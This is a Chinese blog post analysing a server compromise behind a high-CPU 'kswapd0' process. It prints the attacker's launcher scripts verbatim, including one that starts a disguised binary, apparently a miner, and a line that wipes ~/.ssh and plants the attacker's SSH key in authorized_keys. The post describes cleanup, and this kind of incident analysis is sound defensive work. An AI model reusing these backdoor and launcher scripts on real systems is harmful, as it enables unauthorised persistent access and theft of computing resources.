kswapd0进程对于CPU占有率高的情况下排查到黑客植入脚本,与黑客斗智斗勇的三个回合(二)

简介: kswapd0进程对于CPU占有率高的情况下排查到黑客植入脚本,与黑客斗智斗勇的三个回合

4. 进一步看每个脚本文件的内容

探究完了这个文件之后,我就大概明白了,如果我每次都只是杀掉这个进程其实没有用。每隔一段时间,脚本自动运行,而且更阴险的是居然关机重启之后还运行这个脚本!!!可恶至极!

感觉离真相又进了一步!继续往下探究。

4.1/home/dev/.configrc/a路径下的upd文件

#!/bin/sh
cd /home/dev/.configrc/a
if test -r /home/dev/.configrc/a/bash.pid; then
pid=$(cat /home/dev/.configrc/a/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
./run &>/dev/null

这个脚本信息说的是如果/home/dev/.configrc/a/bash.pid确实存在,那就获取bash.pid脚本的进程号

if $(kill -CHLD $pid >/dev/null 2>&1)这行代码我有点没看懂,要是有大佬看懂的,欢迎评论告知我一下,谢谢

最后一行./run &>/dev/null就是运行run文件

那就来看下run脚本里写的啥

#!/bin/bash
./stop
#./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
  if [ "$ARCH" == "i686" ]; then
    nohup ./anacron >>/dev/null & 
  elif [ "$ARCH" == "x86_64" ];   then
    ./kswapd0
  fi
echo $! > bash.pid

最后一行echo $! > bash.pid打印进程号到bash.pid当中

那么我们还需要去查看一下kswpad0文件的信息

最后用vim打开一看,全乱码了。我猜测可能是二进制文件,所以用vim打开会乱码,需要用专门查看二进制文件的工具去查看才可以。

4.2/home/dev/.configrc/b路径下的sync文件

#!/bin/sh
cd /home/dev/.configrc/b
./run

同样的,我们还是需要去看下run文件写的是什么脚本

这个脚本文件太长,为了不影响阅读,我就不粘贴上来了。

可以很清楚的看到最后几行

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
  1. cd ~进入到根目录下
  2. rm -rf .ssh强制删除根目录下的.ssh目录及其目录下的所有文件
  3. mkdir .ssh创建.ssh目录
  4. echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys
    把这行字符串ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr写到.ssh/authorized_keys文件里。备注一下:这个字符串很明显就是电脑上生成的公钥,把这个公钥给到远程电脑下.ssh/authorized_keys文件里,就可以通过ssh连接,下次就可以不用输入账号密码连接了。所以我修改了账号密码之后,对方还是可以登录到我的服务器当中。
  5. chmod -R go= ~/.ssh~/.ssh目录修改的权限是go,其中g:代表所有者所在的群组(group),o:代表其他人,但不是u和g(other)。

4.3 /dev/shm/.X1129/.rsync/c/路径下的aptitude文件

  1. 先去到对应的目录下

  1. 查看aptitude脚本文件

#!/bin/sh
cd /dev/shm/.X1129/.rsync/c
./run &>/dev/null

还是和之前的老套路,这个文件只是用来运行run脚本文件的,因此我们最终需要看的还是run文件

可以看到run脚本的具体内容如下

#!/bin/bash
PR=1
PR=$(cat /proc/cpuinfo | grep model | grep name | wc -l)
ARCH=`uname -m`
if [ "$ARCH" == "x86_64" ]; then
  # -lt是小于等于的意思,它这里的含义是如果CPU是7核以下的
  if [ $PR -lt 7 ]; then
    sleep 15
    ./stop
    sleep 3
    RANGE=240
    s=$RANDOM
    let "s %= $RANGE"
    sleep $s
    #nohup ./golan >>/dev/null &
    #sleep 20m && 
    nohup ./go >>/dev/null &  
  fi
  if [ $PR -gt 7 ]; then
    #sleep 15
    #./stop
    sleep 3
    #nohup ./golan >>/dev/null &
  fi
else    
  #nohup ./golan >>/dev/null &
  #sleep 20m && 
  nohup ./go >>/dev/null &
fi

脚本文件的第三行含义是查看CPU是多少核的。

感兴趣的我还特地去/dev/shm/.X1129这个文件夹下看了一下,确实和https://blog.csdn.net/jzz601264258/article/details/105850816 这个博主说的一样,对方还上传了一个dota3.tar.gz文件到了我的服务器上。

综上:

  • /home/dev/.configrc/a路径下的upd文件脚本最后用vim打开乱码,不清楚用户到底在用我这台机器干嘛。
  • /home/dev/.configrc/b路径下的sync文件脚本运行的是把它电脑的公钥写到我的.ssh/authorized_keys文件里
  • /dev/shm/.X1129/.rsync/c/路径下的aptitude文件设置的CPU随机休眠一段时间,不至于CPU卡的连他自己都登不上。

5. 解决办法

  1. 今天问了一下群佬,可能添加黑名单对他之前的没有太大用,暂时选择添加白名单的方案处理。先把他的~/.ssh/authorized_key里的公钥信息给删除,这样他就无法通过ssh连接了。

这个进程还是占有率很高,这个时候选择来kill掉这个进程

此时再用top命令来查看,恢复正常了。

此时记录为2022年3月20日23:16。不知道对方下一轮又会采取什么方式来给我的电脑植入其他脚本。如果有下一轮,期待和对方的下一轮较量!

相关文章
|
3月前
|
小程序 JavaScript Java
【Java】服务CPU占用率100%,教你用jstack排查定位
本文详细讲解如何使用jstack排查定位CPU高占用问题。首先介绍jstack的基本概念:它是诊断Java应用程序线程问题的工具,能生成线程堆栈快照,帮助找出程序中的瓶颈。接着,文章通过具体步骤演示如何使用`top`命令找到高CPU占用的Java进程及线程,再结合`jstack`命令获取堆栈信息并进行分析,最终定位问题代码。
267 1
【Java】服务CPU占用率100%,教你用jstack排查定位
|
2月前
|
监控 Ubuntu API
Python脚本监控Ubuntu系统进程内存的实现方式
通过这种方法,我们可以很容易地监控Ubuntu系统中进程的内存使用情况,对于性能分析和资源管理具有很大的帮助。这只是 `psutil`库功能的冰山一角,`psutil`还能够提供更多关于系统和进程的详细信息,强烈推荐进一步探索这个强大的库。
42 1
|
4月前
|
弹性计算 Linux 区块链
Linux系统CPU异常占用(minerd 、tplink等挖矿进程)
Linux系统CPU异常占用(minerd 、tplink等挖矿进程)
156 4
Linux系统CPU异常占用(minerd 、tplink等挖矿进程)
|
3月前
|
监控 安全 算法
在Linux中,cpu使用率过高可能是什么原因引起的?排查思路是什么?
在Linux中,cpu使用率过高可能是什么原因引起的?排查思路是什么?
|
3月前
|
消息中间件 Java 调度
一次线上服务CPU100%的排查过程
文章记录了一次线上服务CPU使用率达到100%的排查过程,通过使用top命令和jstack工具确定了导致高CPU使用的线程,并分析了Disruptor组件的不当配置是问题原因,通过修改组件的策略成功解决了问题。
62 0
|
3月前
|
Java
靠这三步就能排查CPU占用100%?
靠这三步就能排查CPU占用100%?
154 0
|
4月前
|
运维 Python Windows
如何通过Python脚本查找并终止占用指定端口的进程
在日常的开发和运维过程中,某些端口被意外占用是一个常见的问题。这种情况可能导致服务无法启动或冲突。本文将介绍如何通过Python脚本查找并终止占用指定端口的进程,以确保系统的正常运行。
|
4月前
|
Java Shell
通过端口杀掉进程的脚本
通过端口杀掉进程的脚本
32 0
|
4月前
|
缓存 弹性计算 监控
云服务器 CPU 使用率高的问题排查与优化
云服务器 CPU 使用率高的问题排查与优化
390 0
|
5月前
|
SQL Java Linux
Linux系统cpu飙升到100%排查方案
Linux系统cpu飙升到100%排查方案
406 0

相关实验场景

更多
下一篇
无影云桌面